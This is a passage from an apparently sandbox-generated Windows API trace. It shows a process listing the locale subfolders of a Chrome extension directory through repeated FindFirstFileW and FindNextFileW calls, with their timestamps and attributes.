nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0272.060] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565f9f2c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x565fed4f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x565fed4f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0272.060] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5660d7b3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56614ce8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56614ce8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0272.060] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56621036, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56625e59, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56625e59, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0272.060] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5662fa97, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x566348bd, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x566348bd, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0272.061] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5663bdec, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56645a2e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56645a2e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0272.061] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5664cf56, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x566592b7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x566592b7, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0272.061] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x566607e6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56667d12, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56667d12, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0272.061] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5667195d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56678e80, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56678e80, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0272.061] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5667195d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56678e80, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56678e80, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0272.061] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0272.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8280) returned 1 [0272.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8240) returned 1 [0272.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8340) returned 1 [0272.062] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", nBufferLength=0x105, lpBuffer=0x1f6e7de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpFilePart=0x0) returned 0x78 [0272.062] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*", lpFindFileData=0x1f6e8060 | out: lpFindFileData=0x1f6e8060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5608f216, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5667195d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5667195d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0272.063] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5608f216, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5667195d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5667195d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.063] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560a9fcc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x560dad1e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x560dad1e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0272.063] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5611a4d4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x561219ea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x561219ea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0272.063] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56137987, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5613c7ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5613c7ac, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56174a36, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5618f7e3, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5618f7e3, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561cc89c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x561d64d7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x561d64d7, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x562246ef, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5622e32d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5622e32d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5623cd95, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5624b7fc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5624b7fc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56263e9f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56272906, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56272906, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56286189, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5628fdcb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5628fdcb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x562ad293, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x562b20b9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x562b20b9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x562f8d9b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x563002cd, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x563002cd, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5630c622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56316267, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56316267, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5632e909, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56333738, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56333738, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0272.065] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563496bf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5634e4de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5634e4de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0272.065] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5635a83f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56361d71, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56361d71, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0272.065] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563755ef, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5637cb1d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5637cb1d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0272.065] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56384050, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56392aa4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56392aa4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0272.065] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5639c6fc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x563a151b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x563a151b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0272.065] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563a8a4d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x563ad873, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x563ad873, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0272.065] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563c3806, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x563cad35, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x563cad35, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0272.065] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563d2264, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x563d708c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x563d708c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0272.066] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563ed029, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x563f4555, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x563f4555, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0272.066] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x563fba87, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5640a4eb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5640a4eb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0272.066] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56418f4f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5641b678, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5641b678, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0272.066] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x564252a4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56438b24, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56438b24, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0272.066] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56442769, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5644758b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5644758b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0272.066] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5644eaba, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5646bf7f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5646bf7f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0272.066] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56475bc7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5647d0e1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5647d0e1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0272.066] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x564ba19d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x564bc8b0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x564bc8b0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0272.067] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x564c64ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x564cda1a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x564cda1a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0272.067] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565b805d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x565bce86, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x565bce86, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0272.067] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565cb8ed, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x565d070f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x565d070f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0272.067] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565dca51, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x565e1886, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x565e1886, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0272.067] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565e8db2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x565f29fa, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x565f29fa, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0272.067] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565f9f2c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x565fed4f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x565fed4f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0272.067] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5660d7b3, 